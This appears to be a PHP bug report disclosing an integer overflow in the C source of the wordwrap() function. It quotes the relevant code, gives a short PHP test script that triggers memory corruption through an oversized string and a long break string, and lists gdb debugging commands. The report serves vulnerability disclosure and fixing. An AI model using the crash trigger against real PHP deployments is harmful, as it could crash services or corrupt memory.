Description:
------------
integer overflow cause memory corruption in wordwrap function:

PHP_FUNCTION(wordwrap)
{
	const char *text, *breakchar = "\n";
	char *newtext;
	int textlen, breakcharlen = 1, newtextlen, chk;
	size_t alloced;
	long current = 0, laststart = 0, lastspace = 0;
	long linelength = 75;
	zend_bool docut = 0;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|lsb", &text, &textlen, &linelength, &breakchar, &breakcharlen, &docut) == FAILURE) {
		return;
	}
....

		RETURN_STRINGL(newtext, textlen, 0);
	} else {
		/* Multiple character line break or forced cut */
		if (linelength > 0) {
			chk = (int)(textlen/linelength + 1);
			newtext = safe_emalloc(chk, breakcharlen, textlen + 1);
			alloced = textlen + chk * breakcharlen + 1;
		} else {
			chk = textlen;
			alloced = textlen * (breakcharlen + 1) + 1;
			newtext = safe_emalloc(textlen, (breakcharlen + 1), 1);
		}

		/* now keep track of the actual new text length */
		newtextlen = 0;

		laststart = lastspace = 0;
...
			else if (current - laststart >= linelength
					&& laststart < lastspace) {
				memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);//newtextlen will be negative and cause memory access violation
				newtextlen += lastspace - laststart;
				memcpy(newtext+newtextlen, breakchar, breakcharlen);
				newtextlen += breakcharlen;
				laststart = lastspace = lastspace + 1;
				chk--;
			}
		}

Test script:
---------------
<?php

ini_set('memory_limit', -1);

$text = "The quick brown fox jumped over the lazy dog.";
$str = str_repeat($text, 0xffffffff/(100*2*strlen($text)));

var_dump(strlen($str));

$str1 = wordwrap($str, 20, str_repeat("a", 0xff1));
?>

Expected result:
----------------
No Crash

Actual result:
--------------
Break at string.c:995 and make this command:

commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
p newtext+newtextlen
p text+laststart
p newtextlen
p laststart
p lastspace-laststart
c
end
